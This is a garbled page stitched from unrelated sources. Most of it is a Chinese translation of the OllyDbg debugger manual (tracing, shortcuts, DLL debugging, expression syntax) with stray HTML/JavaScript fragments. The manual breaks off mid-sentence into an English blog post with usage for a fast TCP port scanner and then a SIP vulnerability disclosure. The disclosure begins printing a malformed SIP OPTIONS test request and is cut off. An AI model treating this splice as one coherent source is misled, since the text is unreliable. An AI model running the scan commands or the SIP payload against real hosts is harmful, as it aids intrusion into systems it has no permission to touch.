上面的方法非常慢。有另外一种比较快的方法。每次读取数据发生异常时,OllyDbg 使这个4K内存区域变为可
读,而使原先可读的区域变为无效。而每次发生写数据异常时,
OllyDbg 使这个区域变为可写,而使原先可写的区域变为无效。当程序执行在保留的保护区域中的指令时,
OllyDbg 报告真正的入口。但是,当真正的入口点在可读或可写区域内部时,报告的地址就可能有误。
您可以纠正入口位置,选择新的入口,从反汇编窗口的快捷菜单中选择“断点[Breakpoint]|设置真正的自
解压入口[Set real SFX entry here]”。如果相应的SFX选项是开启的,OllyDbg下次可以迅速而可靠的跳
过自提取程序。
注意:OllyDbg 在跟踪采取了保护或者反调试技术的解压程序时通常会失败。
二十,单步执行与自动执行[Step-by-step execution and animation]
您可以通过按 F7(单步步入)或 F8(单步步过),对程序进行单步调试。这两个单步执行操作的主要区别在
于:如果当前的命令是一个子函数,按F7,将会进入子函数,并停在子函数的第一条命令上;而按 F8,将会
一次运行完这个子函数。如果您单步步过的子函数中含有断点或其他调试事件,执行将会被暂停,但 OllyDbg
会在子函数的后一条命令上,自动下一个断点,而这个断点您迟早会碰到。
如果被调试程序停在异常上,您可以跳过它,并转到被调试程序建立的句柄处。只需简单的 Shift 键和任何
一个单步命令。
如果需要连续按F7、F8键上百次,您可以使用自动执行(Ctrl+F7或者Ctrl+F8)功能。在这种情况下,
OllyDbg 将自动重复F7或者F8操作,并且实时更新所有的窗口。这个过程会在下面情况停止:
- 按 Esc 键或发出任何单步命令
- OllyDbg 遇到断点
- 被调试程序发生异常
使用“+”和“-”按键,可以回朔以前的执行历史[execution history].
注意:当执行停止时 OllyDbg 将会刷新大部分窗口。如果动态执行过程非常慢,可以尝试关掉或最小化没有
用的窗口。
另外,更快捷的找到以前执行指令的办法是Run跟踪[run trace]。它将创建一个执行协议并告知您指定指令
的执行时间和次数
二一,Hit跟踪[Hit trace]
Hit跟踪能够让您辨别哪一部分代码执行了,哪一部分没有。OllyDbg的实现方法相当简单。它将选中区域的每
一条命令处均设置一个INT3断点。当中断发生的时候,OllyDbg便把它去除掉,并把该命令标志为命中[hit]
。因为每个跟踪断点只执行一次,所以这种方法速度非常快。
在使用Hit跟踪的时候,一定要注意不能在数据中设置断点,否则应用程序极有可能崩溃。因此,您必须打开
相关的菜单选项,以进行代码分析[analyze]。我推荐您选择严格或启发式函数识别[strict or
heuristical procedure recognition]。如果选择模糊[Fuzzy]的话,可能会产生很多难以容忍的错误,而
且经常把本不是函数的代码段识别成函数。
只要您在模块中设置了跟踪断点,哪怕只设了一个,OllyDbg都会分配两倍于代码段大小的缓冲区。
注意:当您退出Hit跟踪的时候,Run跟踪也会同时退出。
Run 跟踪[Run trace]
Run跟踪是一种反方向跟踪程序执行的方式,可以了解以前发生的事件。您还可以使用Run跟踪来了解运行的简
单统计[profile]。基本上, OllyDbg 是一步一步地执行被调试程序的,就像动画[animation]演示一样
,但不会实时刷新窗口,最重要的是它能将地址、寄存器的内容、消息以及已知的操作数记录到Run跟踪缓冲
区中。如果被调试的代码是自修改的,您就能够保存原始的命令。可以通过按Ctrl+F11(Run跟踪步入,进入
子函数)或者 Ctrl+F12(Run跟踪步过,一次执行完子函数)开始Run跟踪,并用F12或者Esc键停止跟踪。
您可以指定在Run跟踪时执行每一步的条件集(快捷键:Ctrl+T)。如果条件符合,Run跟踪将暂停。条件包括
:
?当EIP在某个地址范围内时暂停[Pause when EIP is in the address range];
?当EIP在某个地址范围之外时暂停[Pause when EIP is outside the address range];
?当某个条件为真时暂停[Pause when some condition is true];
?当下一条指令可疑时暂停[Pause when next command is suspicious],比如:可能为非法指令(根据在分
析3[Analysis 3]中设定的规则而定),访问不存在的内存,设置了单步陷阱标志[single-step trap flag
]或者越ESP界访问栈。注意这个选项会明显地(大约20%)减慢Run跟踪的速度;
?当命令执行达到指定的次数(更确切的说,是添加到Run跟踪的缓冲区里面的命令数量)时暂停[Pause
after specified number of commands is traced]。注意计数器不能自动归零。也就是说,如果您设置指令
次数为10,则在第10次执行到该命令时暂停,并不是该命令每执行10次就暂停一次。
?当下一条命令符合指定的样式之一时暂停[Pause when next command matches one of the specified
patterns]。您可以使用模糊命令和操作数[imprecise commands and operands]及匹配32位寄存器RA和RB
,像R32一样,这两个寄存器可以替代任何通用32位寄存器,但是在同一条命令中其值是不能变的。而 RA 和
RB
在同一条命令中,则一定是不同的。例如,在程序中含有 XOR EAX,EAX; XOR ESI,EDX 两条命令,两条命令均
符合样式 XOR R32,R32;第一条命令符合样式XOR RA,RA
;而等二条命令 XOR ESI,EDX 符合样式XOR RA,RB。
毫无疑问,Run跟踪需要足够的内存,每条命令平均需要占用16到35字节,同时速度也非常慢。在500-MHZ处理
器、Windows NT环境下,它每秒能跟踪5000条指令。
Windows95更慢:每秒钟仅2200条指令。但是在许多情况下,例如当一个程序跳转到不存在的地址的时候,这
是找到原因的唯一方法。您可以在Run 跟踪时将准线性命令序列(即序列尾部只有唯一出口)跳过。当
OllyDbg遇到这些需跳过的命令序列时,会设置一个临时断点,然后跟进到序列中,并一次运行完。当然了,
如果排除命令中返回或跳转的地址在跟踪范围之外,将可能导致跟踪发生错误;因此OllyDbg会检查您想跳过
的代码块,如果存在上述情况,会向您询问。
在大多数情况下,您对跟踪系统API代码不感兴趣。跟踪选项总是跟过系统DLL[Always trace over system
DLLs]允许您在 跟踪/自动模式下跟过API函数。如果模块在系统目录下,OllyDbg就假设该模块是系统的。您
可以在模块[Modules]窗口中标记任意DLL是系统的或者非系统的。
为了使执行速度更快,您可以通过设置Run跟踪断点,先将Run跟踪限制在选定的命令或代码块上,然后再运行
程序。我把这种做法称作“强迫Run跟踪”。一般来说,删除Run跟踪断点不会移除Hit跟踪断点。但如果您删
除了hit跟踪断点,同时您也移除了Run跟踪断点。
跟踪命令会保存到跟踪缓冲区中,这个缓冲区在跟踪开始时自动创建。您可以在选项中指定它的大小(最高
64MB)。这个缓冲区是循环队列,当满了的时候,会丢弃老的记录。
您可以通过从OllyDbg主菜单中选择“调试[Debug]|打开或者清除Run跟踪[Open or clear run trace]”
,来打开或者清除Run跟踪缓冲区。在Run跟踪缓冲区打开后,
OllyDbg 会记录在执行过程中的所有暂停,甚至那些不是由Run跟踪引起的暂停。例如,您可以通过按 F7 或
者 F8 单步执行程序,然后通过使用+键和-键来反方向跟踪程序的执行。注意:如果Run跟踪缓冲区已经关闭
,则用这些键浏览的是历史[history]记录。在您查看Run跟踪记录时,寄存器和信息面板会变灰,来强调它
们所显示的寄存器并不是实际的寄存器。跟踪缓冲区并不保存栈顶或由寄存器所指向的内容。寄存器、信息和
栈在Run跟踪的时候使用实际的内存状态来解释寄存器的变化。
OllyDbg能够记下每个指令在Run跟踪缓冲区里面出现的次数。在反汇编窗口快捷菜单中,选择是“查看[View
]|统计作为注释[Profile as comments]”。这个命令使用统计取代了注释栏。或者,如果列标题栏可见,
则可以单击它几次直到它显示统计信息。注意显示出来的数字是动态的,而且不计算已经从跟踪缓冲区中丢弃
的指令。您还可以在单独的统计窗口[Profile window]中,按触发次数排序,来查看整个模块的统计数据。
在反汇编窗口的快捷菜单中选择“Run跟踪[Run trace]|添加到所有函数入口处[Add entries of all
procedures]”,这样能够检查每个可识别的函数被调用的次数。另一个命令“Run跟踪[Run trace]|添加
到函数中所有的分支[Add branches in procedure]”会强行跟踪此函数中所有识别的跳转目的地址的内容
。在这种情况下,统计功能能够找到最频繁执行的分支,您可以优化这部分的代码,以提高速度。
在反汇编窗口中的某条命令上使用快捷菜单中选择“搜索[Search for]|Run跟踪的最新记录[Last record
in run trace]”用于查找该命令是否被执行过,如果执行过,最后一次执行在哪里。
Run跟踪窗口显示跟踪缓冲区的内容。对每个指令来说包括被指令改变的整数寄存器的内容(更准确的说是给定
的记录变成下一条记录的变化)。如果您双击某条指令,窗口会选择在跟踪缓冲区里全部含有该命令的记录,
而且您可以通过按+和-键来快速的浏览;如果您在调试选项[Debugging options]中设置了 “跟踪[Trace
]|同步CPU和
Run跟踪[Synchronize CPU and Run trace]”,双击记录则会跟进到对应的反汇编窗口中位置。
注意:当您退出Hit跟踪时,您同时也强行退出了Run跟踪。
通用快捷键[Global shortcuts]
无论当前的OllyDbg窗口是什么,这些快捷键均有效:
Ctrl+F2 – 重启程序,即重新启动被调试程序。如果当前没有调试的程序,OllyDbg会运行历史列表[history
list]中的第一个程序。程序重启后,将会删除所有内存断点和硬件断点。
译者注:从实际使用效果看,硬件断点在程序重启后并没有移除。
Alt+F2 – 关闭,即关闭被调试程序。如果程序仍在运行,会弹出一个提示信息,询问您是否要关闭程序。
F3 – 弹出“打开32位.EXE文件”对话框[Open 32-bit .EXE file],您可以选择可执行文件,并可以输入运
行参数。
Alt+F5 – 让OllyDbg总在最前面。如果被调试程序在某个断点处发生中断,而这时调试程序弹出一个总在最前
面的窗口(一般为模式消息或模式对话框[modal message or dialog]),它可能会遮住OllyDbg的一部分,
但是我们又不能移动最小化这个窗口。激活OllyDbg(比如按任务栏上的标签)并按Alt+ F5,OllyDbg将设置
成总在最前面,会反过来遮住刚才那个窗口。如果您再按一下Alt+F5,OllyDbg会恢复到正常状态。OllyDbg是
否处于总在最前面状态,将会保存,在下一次调试时依然有效。当前是否处于总在最前面状态,会显示在状态
栏中。
F7 – 单步步入到下一条命令,如果当前命令是一个函数[Call],则会停在这个函数体的第一条命令上。如
果当前命令是是含有REP前缀,则只执行一次重复操作。
Shift+F7 – 与F7相同,但是如果被调试程序发生异常而中止,调试器会首先尝试步入被调试程序指定的异常
处理(请参考忽略Kernel32中的内存非法访问)。
Ctrl+F7 – 自动步入,在所有的函数调用中一条一条地执行命令(就像您按住F7键不放一样,只是更快一些)
。当您执行其他一些单步命令,或者程序到达断点,或者发生异常时,自动步入过程都会停止。每次单步步入
,OllyDbg都会更新所有的窗口。所以为了提高自动步入的速度,请您关闭不必要成窗口,对于保留的窗口最
好尽量的小。按Esc键,可以停止自动步入。
F8 – 单步步过到下一条命令。如果当前命令是一个函数,则一次执行完这个函数(除非这个函数内部包含断
点,或发生了异常)。如果当前命令是含有REP前缀,则会执行完重复操作,并停在下一条命令上。
Shift+F8 – 与F8相同,但是如果被调试程序发生异常而中止,调试器会首先尝试步过被调试程序指定的异常
处理(请参考忽略Kernel32中的内存非法访问)。
Ctrl+F8 – 自动步过,一条一条的执行命令,但并不进入函数调用内部(就像您按住F8键不放一样,只是更快
一些)。当您执行其他一些单步命令,或者程序到达断点,或者发生异常时,自动步过过程都会停止。每次单
步步过,OllyDbg都会更新所有的窗口。所以为了提高自动步过的速度,请您关闭不必要成窗口,对于保留的
窗口最好尽量的小。按Esc键,可以停止自动步过。
F9 – 让程序继续执行。
Shift+F9 – 与F9相同,但是如果被调试程序发生异常而中止,调试器会首先尝试执行被调试程序指定的异常
处理(请参考忽略Kernel32中的内存非法访问)。
Ctrl+F9 – 执行直到返回,跟踪程序直到遇到返回,在此期间不进入子函数也不更新CPU数据。因为程序是一
条一条命令执行的,所以速度可能会慢一些。按Esc键,可以停止跟踪。
Alt+F9 – 执行直到返回到用户代码段,跟踪程序直到指令所属于的模块不在系统目录中,在此期间不进入子
函数也不更新CPU数据。因为程序是一条一条执行的,所以速度可能会慢一些。按Esc键,可以停止跟踪。
Ctrl+F11 -Run跟踪步入,一条一条执行命令,进入每个子函数调用,并把寄存器的信息加入到Run跟踪的存储
数据中。Run跟踪不会同步更新CPU窗口。
F12 – 停止程序执行,同时暂停被调试程序的所有线程。请不要手动恢复线程运行,最好使用继续执行快捷键
或菜单选项(像 F9)。
Ctrl+F12 – Run跟踪 步过,一条一条执行命令,但是不进入子函数调用,,并把寄存器的信息加入到Run跟踪
的存储数据中。Run跟踪不会同步更新CPU窗口。
Esc – 如果当前处于自动运行或跟踪状态,则停止自动运行或跟踪;如果CPU显示的是跟踪数据,则显示真实
数据。
Alt+B – 显示断点窗口。在这个窗口中,您可以编辑、删除、或跟进到断点处。
Alt+C – 显示CPU窗口。
Alt+E – 显示模块列表[list of modules]。
Alt+K – 显示调用栈[Call stack]窗口。
Alt+L – 显示日志窗口。
Alt+M – 显示内存窗口。
Alt+O – 显示选项对话框[Options dialog]
Ctrl+P – 显示补丁窗口。
Ctrl+T – 打开 暂停 Run跟踪 对话框
Alt+X – 关闭 OllyDbg。
大多数窗口都支持以下的键盘命令:
Alt+F3 – 关闭当前窗口。
Ctrl+F4 – 关闭当前窗口。
F5 – 最大化当前窗口或将当前窗口大小改为正常化。
F6 – 切换到下一个窗口。
Shift+F6 – 切换到前一个窗口。
F10 – 打开与当前窗口或面板相关的快捷菜单。
左方向键 – 显示窗口左方一个字节宽度的内容。
Ctrl+左方向键 – 显示窗口左方一栏的内容。
右方向键 – 显示窗口右方一个字节宽度的内容
Ctrl+右方向键 – 显示窗口右方一栏的内容
反汇编窗口中的快捷键[Disassembler shortcuts]
当CPU窗口中的反汇编面板[Disassembler pane]处于激活状态时,您可以使用以下快捷键:
回车键 – 将选中的命令添加到命令历史[command history]中,如果当前命令是一个跳转、函数或者是转换
表的一个部分,则进入到目的地址。
退格键 – 移除选中部分的自动分析信息。如果分析器将代码误识别为数据,这个快捷键就非常有用。请参考
解码提示[decoding hints].
Alt+退格键 – 撤消所选部分的修改,以备份数据的相应内容替换所选部分。仅当备份数据存在且与所选部分
不同时可用。
Ctrl+F1 -如果API帮助文件已经选择,将打开与首个选择行内的符号名相关联的帮助主题。
F2 -在首个选择的命令上开关INT3 断点[Breakpoint],也可以双击该行第二列。
Shift+F2 -在首个选择命令设置条件断点,参见忽略Kernel32中内存访问异常[Ignore memory access
violations in Kernel32]。
F4 -执行到所选行,在首个选择的命令上设置一次性断点,然后继续执行调试程序,直到OllyDbg捕获到异常
或者停止在该断点上。在程序执行到该命令之前,该一次性断点一直有效。如有必要,可在断点窗口
[Breakpoints window]中删除它。
Shift+F4 -设置记录断点(一种条件断点,当条件满足时一些表达式的值会记录下来), 详情参见断点
[Breakpoint]。
Ctrl+F5 -打开与首个选择的命令相对应的源文件。
Alt+F7 -转到上一个找到的参考。
Alt+F8 -转到下一个找到参考。
Ctrl+A -分析当前模块的代码段。
Ctrl+B – 开始二进制搜索。
Ctrl+C -复制所选内容到剪贴板。复制时会简单地按列宽截断不可见内容,如果希望排除不需要的列,可把这
些列的宽度调整到最小。
Ctrl+E -以二进制(十六进制)格式编辑所选内容。
Ctrl+F -开始命令搜索。
Ctrl+G -转到某地址。该命令将弹出输入地址或表达式的窗口。该命令不会修改 EIP。
Ctrl+J -列出所有的涉及到该位置的调用和跳转,在您用这个功能之前,您必须使用分析代码功能。
Ctrl+K – 查看与当前函数相关的调用树[Call tree]。在您用这个功能之前,您必须使用分析代码功能。
Ctrl+L – 搜索下一个,重复上一次的搜索内容。
Ctrl+N – 打开当前模块的名称(标签)列表。
Ctrl+O – 扫描object文件。扫描Object文件。该命令会显示扫描Object文件对话框,您可以在该对话框中选
择Object文件或者lib文件,并扫描这个文件,试图找到在实际代码段中用到的目标模块。
Ctrl+R -搜索所选命令的参考。该命令扫描激活模块的全部可执行代码,以找到涉及到首个选中的命令的全部
相关参考(包括:常量、跳转及调用),您可以在参考中使用快捷键 Alt+F7 和 Alt+F8来浏览这些参考。为
便于您使用,被参考的命令也包含在该列表中。
Ctrl+S -命令搜索。该命令显示命令查找[Find command]对话框供您输入汇编命令,并从当前命令开始搜索
。
星号[Asterisk](*) -转到原始位置(激活线程的EIP处)。
Ctrl+星号(*) – 指定新的起始位置,设置当前所选线程的EIP为首个选择字节的地址。您可以在选择EIP并撤
消该操作。
加号[Plus](+) -如果run跟踪[run trace] 没有激活,则根据命令历史[command history]跳到下一条
运行过命令的地方;否则跳到Run跟踪的下一个记录。
Ctrl+加号 – 跳到前一个函数开始处。(注意只是跳到,并不执行)
减号[Minus](-) – 如果run跟踪[run trace] 没有激活,则根据命令历史[command history]跳到前一
条运行过命令的地方;否则跳到Run跟踪的前一个记录。
Ctrl+减号 – 跳到下一个函数开始处。(注意只是跳到,并不执行)
空格[Space] – 修改命令。您可在显示对话框中以汇编语言修改实际指令或输入新指令,这些指令将替换实
际代码,您也可以在想要修改的指令处双击鼠标。
冒号[Colon](:) – 添加标签。显示添加标签窗口[Add label]或修改标签窗口[Change label],您可在
此输入与首个选择的命令中的第一个字节相关联的标签(符号名)。注意,在多种编程语言中,冒号可以是标
签的一部分。
分号[Semicolon](;) – 添加注释[comment]。显示添加注释窗口[Add label]或修改注释窗口[Change
label],您可在此输入与首条所选命令的第一个字节相关联的注释(注释串会显示在最后一列中)。注意,
多种汇编语言使用分号作为注释开始。您也可以在注释列双击需要注释的命令行。
插件[Plugins]
插件是一个DLL,存放在OllyDbg的目录中,用于增加 OllyDbg 的功能。您可以从 OllyDbg 的主页上
(http://home.t-online.de/home/Ollydbg)免费下载插件开发工具包
plug110.zip。
插件可以设置断点,增加标签和注释,修改寄存器和内存。插件可以添加到主菜单和很多的窗口(比如反汇编
窗口、内存窗口)的快捷菜单中,也可以拦截快捷键。插件还可以创建MDI(多文档界面)窗口。插件还可以
根据模块信息和OllyDbg.ini文件,将自己数据写到.udd文件中;并能读取描述被调试程序的各种数据结构。
插件API包含了多达170
个函数。
许多第三方插件都可以从Internet网上获得,比如由网友TBD创建并维护的OllyDbg的论坛
(http://ollydbg.win32asmcommunity.net)。
安装插件的方法:将DLL复制到插件目录[plugin directory]中,然后重新启动Ollydbg。默认情况下,这个
插件目录为ollydbg.exe文件所在的目录。
现在的版本中已经包含了两个“原始”插件: 书签[Bookmark] and 命令行[Command line]. 他们的源代
码都保存在plug110.zip.文件中。这些插件都是免费的,您可以任意修改或使用它们。
技巧提示[Tips and tricks]
?OllyDbg 可以作为二进制编辑器使用。选择视图[View]→文件[File]并选定需要查看的文件。文件不能
大于剩余内存数量。
?假使您修改了内存中的执行文件,这时您想恢复修改的部分,但是您忘记哪里被修改了,您可以把原始文件
当作备份进行加载,这样您就可以找到修改的部分了。
分析前,先扫描 OBJ 文件。这时 OllyDbg 会对已知 C 函数的参数进行解码。
一些表格中包含了隐藏数据。可以通过增加列宽来显示出来。
所有数据窗口(包括反汇编窗口),可以通过双击显示相对的地址。
您可以通过 Ctrl +↑ 或 Ctrl+↓ 对数据窗口翻动一个字节。
调试独立的DLL[Debugging of stand-alone DLLs]
打开DLL,也可以直接将其从资源管理器拖放到 OllyDbg 上。OllyDbg 会询问您并将该文件的全路径作为参数
传递给loaddll.exe.。然后链接库被加载并停在代码的入口(
<DllEntryPoint>)。您可以设置断点,运行或跟踪启动代码,等等。在初始化完成后,应该程序会再次暂停
。这次停在标签名为 Firstbp 的位置,其在立即进入主消息循环之前。
现在,您可以调用DLL函数。从主菜单选择“调试[Debug]|调用DLL输出[Call DLL export]”。这时会弹
出一个对话框。由于这个对话框是无模式对话框,因此您仍然能够使用OllyDbg的全部功能,比如查看代码、
数据,查看断点,修改内存等等。
选择您想调用的函数。例如我们将开始使用 USER32.DLL 里的MessageBox 函数。注意loaddll.exe 已经使用
了这个链接库,因此会假定这个 DLL 已经初始化而不再调用入口。MessageBox 这个函数名是通用函数名,实
事上,这个函数有处理 ASCII 的 MessageBoxA 和处理 Unicode 的MessageBoxW 两种。我们继续往下看:
123
图片附件: 02.JPG (2005-9-6 15:45, 43.39 K)
screen.width * 0.7) { this.resized = true; this.width = screen.width * 0.7; this.alt = "\u70B9
\u51FB\u5728\u65B0\u7A97\u53E3\u67E5\u770B\u5168\u56FE\nCTRL+\u9F20\u6807
\u6EDA\u8F6E\u653E\u5927\u6216\u7F29\u5C0F"; } } "
src="http://www.chinadforce.com/attachments/day_050906/02_7jCBahq9GNkr.jpg" />
在我们选择这个函数后,右边的消息框中会出现 Number of arguments: 4(有四个参数)的字样。OllyDbg
会根据函数尾部的RET 10语句来正确识别参数的数量。RET nnn
是使用PASCAL调用约定的函数的典型特征。(参数被放入栈中,第一个参数会被最后一个压入栈中,函数调用
完毕后,参数会被遗弃)。大多数的 Windows API 函数都是
PASCAL形式的。
下一步,我们要设定栈中参数的个数。在这个例子中,不必做进行这个操作,因为OllyDbg已经知道了
MessageBoxW函数的参数数量。但是,如果您愿意的话,也可以单击左边的复选框,改变成您认为合适的参数
数量
现在填写参数列表。这个对话框中支持至多10个参数. 参数可以是任何有效的表达式,而不必使用寄存器。如
果操作数指向了内存,则参数右边的缓冲区窗口会显示内存中的数据。Loaddll.exe 有10个大小为1K的缓冲区
,这些缓冲区被标记为Arg1 .. Arg10,,您可以方便自由的使用它们。另外,对话框还支持两个伪变量:由
loaddll.exe创建的父窗口句柄<Hwnd>,以及loaddll的实例句柄<Hinst>。为了方便您的使用,在您第一次使
用调用输出函数时,OllyDbg就已经将这两个伪变量加到了历史列表中去了。
MessageBoxW e函数需要4个参数:
?父窗口句柄。 这里我们选择<Hwnd> ;handle of owner window. Here, we simply select <Hwnd>;
?在消息框中UNICODE文本的地址。选择Arg2并按回车。缓冲区窗口会以16进制的格式显现内存中的缓冲区。这
个缓冲区初始化全是0。点击第一个字节,并按快捷键
Ctrl+E(另外, 也可以从菜单中选择“二进制[Binary]|编辑[Edit]”)。这时会出现一个对话框,在对
话框中键入“Text in box”或者其他希望显示的字符串;
?消息框标题的UNICODE文本的地址。选择Arg3并在Unicode格式的内存中写上“Box title”;
?消息框的风格。使用常量MB_xxx进行组合.OllyDbg 可以识别这些常量。在这里我们键入:
MB_OK|MB_ICONEXCLAMATION。
这里不需要寄存器参数。
现在我们准备调用输出函数。选项“在调用时隐藏[Hide on call]”意思是说,当函数运行时对话框将会从
屏幕消失。当我们执行一个会运行很长时间的函数,或者设置了断点的时候,这个选项非常的有用。您也可以
手动关闭对话框。当函数执行完毕后,OllyDbg会重新自动打开。“调用输出函数”对话框。选项“在调用后
暂停[Pause after call]”意思是说,在执行完函数后,loaddll将会被暂停。
按“调用[Call]按钮”后,OllyDbg 会自动备份所有的内存、校验、参数、寄存器等信息。并隐藏对话框,
然后调用 MessageBoxW 函数。和期望的一样,消息框在屏幕中出现了:
screen.width * 0.7) { this.resized = true; this.width = screen.width * 0.7; this.style.cursor =
"hand"; this.alt = "Click here to open new window\nCTRL+Mouse wheel to zoom in/out"; } } "
onload=" function onload(event) { if (this.width > screen.width * 0.7) { this.resized = true;
this.width = screen.width * 0.7; this.alt = "Click here to open new window\nCTRL+Mouse wheel to
zoom in/out"; } } "
src="http://groups.msn.com/_Secure/0cgDvAt0gqCx*VnJiVlT79*fFmiyfIJrL1diSHtf7m4m3LNGaibFjk1iUQSsM
o3d%218GXeH6em0*I9Mk21pTpPMxIYYOtm2HvNluWwbU*OK*oFBjq4eIf0ezBiGKAKJKdU67ObrqhBIK9jR%
2125g*3Ow5dP08iL4hVZNZyO0JeS8Bc/%E8%B0%E8%AF%E7%AC%E7%AB%E7DLL2.JPG?dc=4675538092381011503" />
函数 MessageBoxW 不会修改参数。如果您调用的函数更新了内存,比如函数 GetWindowName,修改的字节将
会在数据区里高亮。注意:EAX 返回值为1,表示成功。
其他的例子请访问我的网站:
http://home.t-online.de/home/Ollydbg/Loaddll.htm.
不幸的是,您不能通过这种方式调试OllyDbg的插件,插件关联到ollydbg.exe文件,Windows系统不能在同一
个应用程序里加载并运行两个可执行文件。
解码提示[Decoding hints]
在某些情况下,分析器不能区分代码和数据。让我们看看下面的例子:
const char s[11] = "0123456789";
…
for (i=0×30; i<0×3a; i++) t[i-0x30]=s[i-0x30];
好的编译器将会将上面的代码优化成如下样子: e
for (i=0×30; i<0×3a; i++) (t-0×30)=(s-0×30);
这里t-0×30 和 s-0×30 都是常量,并编译成如下形式:
MOV AL,[BYTE s_minus_30+EBX]
MOV [BYTE t_minus_30+EBX],AL
编译器也可能将常量字符串"0123456789"插入到执行代码中。在1.10版本中,我打算用寄存器的值来决定是否
的数据或代码。当遇到上面的命令,分析器将假定地址
s_minus_30处包含字符数据。但事实上,可能那里是代码。
万一出现上述问题,我们应该怎么办呢?有两种办法:最快最笨的办法是:将分析错误的部分删除(快捷键:
退格键),这样OllyDbg将使用默认的反汇编器进行解码。
更好的办法是使用解码提示[decoding hints]。您可以告诉OllyDbg如何解释选中的内存内容。这种方法在
重新分析(Ctrl+A)时,解释依然有效。
设置提示的方法:在反汇编窗口中,选中需要修正提示的代码或数据,然后在快捷菜单中选择 分析
[Analysis]|在下次分析时,将选择部分视为[During next analysis, treat selection as]。选择以下
选项之一:
命令[Command] – 第一个被选中的字节开始的有效命令。这条命令,还有所有后面的部分,直到有Jump或
Return命令出现,以及含有Jump或Call命令所到达位置的部分,都会被视为命令;
字节[Byte],
字[Word],
双字[Doubleword] – 选中的前1、2、4字节视为对应大小的数据;
所有选中命令[Commands] – 全部选中部分(直到第一个无效命令)和可以到达由有效命令集组成的目的地
址;
字节[Bytes],
字[Words],
双字[Doublewords], – 全部选中部分以1、2、或 4字节分组;
ASCII字符串[ASCII text],
UNICODE字符串[UNICODE text] – 全部选中部分为ASCII 或 UNICODE 字符串;
默认(移除提示)[Default (remove hints)] – 从选中部分中移除全面提示;
移除全部提示[Remove all hints] – 从全部模块中移除解码提示。
OllyDbg 保存提示到.udd文件中。
表达式赋值[Evaluation of expressions]
[code]
OllyDbg能够支持非常复杂的表达式。表达式的语法格式将在这个主题的后面进行介绍,但我想您对此不一定
真的感兴趣。那么我先举几个实例来说明:
10 - 常量 0x10 (无符号)。所有整数常量都认为是十六进制的,除非后面跟了点;
10. - 十进制常量10(带符号);
'A' - 字符常量 0x41;
EAX - 寄存器EAX的内容,解释为无符号数;
EAX. -寄存器EAX的内容,解释为带符号数;
[123456] - 在地址123456处的无符号双字内容。默认情况,OllyDbg假定是双字长操作数;
DWORD PTR [123456] - 同上。关键字 PTR 可选;
[SIGNED BYTE 123456] - 在地址123456处带符号单字节。OllyDbg支持类MASM和类IDEAL两种内存表达式;
STRING [123456] - 以地址123456作为开始,以零作为结尾的ASCII字符串。中括号是必须的,因为您要显示
内存的内容;
[[123456]] - 在地址123456处存储的双字所指向的地址内的双字内容;
2+3*4 - 值为14。OllyDbg 按标准C语言的优先级进行算术运行;
(2+3)*4 - 值为20。使用括号改变运算顺序。
EAX.<0. - 如果EAX在0到0x7FFFFFFF之间,则值为0,否则值为1。注意0也是有符号的。当带符号数与无符号
数比较时,OllyDbg会将带符号数转成无符号数。
EAX<0 - 总为0(假),因为无符号数永远是正的。
MSG==111 - 如果消息为WM_COMMAND,则为真。0x0111是命令 WM_COMMAND 的数值。MSG只能用于设置在进程消
息函数的条件断点内。
[STRING 123456]=="Brown fox" - 如果从地址0x00123456开始的内存为ASCII字符串"Brown fox"、"BROWN
FOX JUMPS"、 "brown fox???",或类似的串,那么其值为1。比较不区分大小写和文本长度。
EAX=="Brown fox" - 同上,EAX按指针对待。
UNICODE [EAX]=="Brown fox" - OllyDbg认为EAX是一个指向UNICODE串的指针,并将其转换为ASCII,然后与
文本常量进行比较。
[ESP+8]==WM_PAINT - i在表达式中您可以使用上百种Windows API符号常量。
([BYTE ESI+DWORD DS:[450000+15*(EAX-1)]] & 0F0)!=0 - 这绝对是个有效的表达式。
现在我们介绍语法格式。在大括号({})内的每个元素都只能出现一次,括号内的元素顺序可以交换:
表达式 = 内存中间码|内存中间码<二元操作符>内存中间码
内存中间码 = 中间码| { 符号标志 大小标志 前缀} [表达式 ]
中间码 = (表达式)| 一元操作符 内存中间码 | 带符号寄存器 | 寄存器 | FPU寄存器 | 段寄存器 | 整型
常量 | 浮点常量 | 串常量 | 参数 | 伪变量
一元操作符 = ! | ~ | + |
带符号寄存器 = 寄存器.
寄存器 = AL | B
It’s
very small(only 8k) port scanner use TCP connect , but really
high-speed and strong that support nmap-style ip range and port range.
For example: you can use like this :
zps.exe 192.168.1.1
zps.exe 192.168.1.1-255
zps.exe 192.168.1-10.2-10
zps.exe 192-193.168,190,199.2,3-6.1-255
and whatever, at the meanwhile, you can also specify the port range like:
zps.exe 192.168.1.1 -p 21
zps.exe 192.168.1.1 -p 21,80
zps.exe 192.168.1.1 -p 1-1024
zps.exe 192.168.1.1 -p 21-25,80,110-1024
and so on. For more information, please view the help screen… ^_^
========================================================
ZwelL Port Scanner
version 1.3
Coded By ZwelL
http://www.nosec.org
zwell@sohu.com
========================================================
zps.exe [OPTIONS] <host|ip>
OPTIONS:
-p <port ranges>: Only scan specified ports
Ex: -p 22; -p 1-65535; -p 1-25,80,139,8080
default 21,22,23,25,79,80,110,135,139,445,1433,1521,3306,3389,4899,5631
-n <threads number>: The count of threads, default is 100, range : 1-1000
-d <debug level>: The value is from 1 to 9
-t <time out>: The out time of a connection, default is 3
-h : Show this information
zps.exe -n 1000 -p 25,80,1433,1521,3389 -t 2 10.10.10-15.1-255 -d 2
http://www.securityfocus.com/archive/1/424943/30/0/threaded
Visit http://www.nosec.org for more infomation
SIP is the important protocol in VOIP, and I think it’ll improve fast and fast in the
future just like the TCP/IP. In that time, we can contact each other by VOIP for vedio and
sound very cheaply.
As a new protocol, most vendor just consider the usable and efficiency but not the
security. Think about the scene : everybody use a SIP phone(not only software but also
hardware) instead of PSTN phone, then our phone be hacked, then we leak accounts. Another
important, if we use a softphone, then our OS be hacked, losing everything… -_-
I have posted some SIP vulnerabilities here before, but it’s just beginning, later, more
and more hackers research in it, and more and more vulnerabilities be diged. What I do now
is remind the Vendor to regard this problem.
Ok, look at these vulnerabilities, there are all tested on all version:
1. Processing negative integer in "Expires" item vulnerability:
====================1======================
OPTIONS sip:a (at) 127.0.0 (dot) 1 [email concealed] SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3334;branch=z9hG4bK00001793z9hG4bK.00001FDB
From: 1793 <sip:a (at) 127.0.0 (dot) 1 [email concealed]>;tag=1793
To: zwell <sip:a (at) 127.0.0 (dot) 1 [email concealed]>
Call-ID: 1407 (at) 172.16.3 (dot) 6 [email concealed]
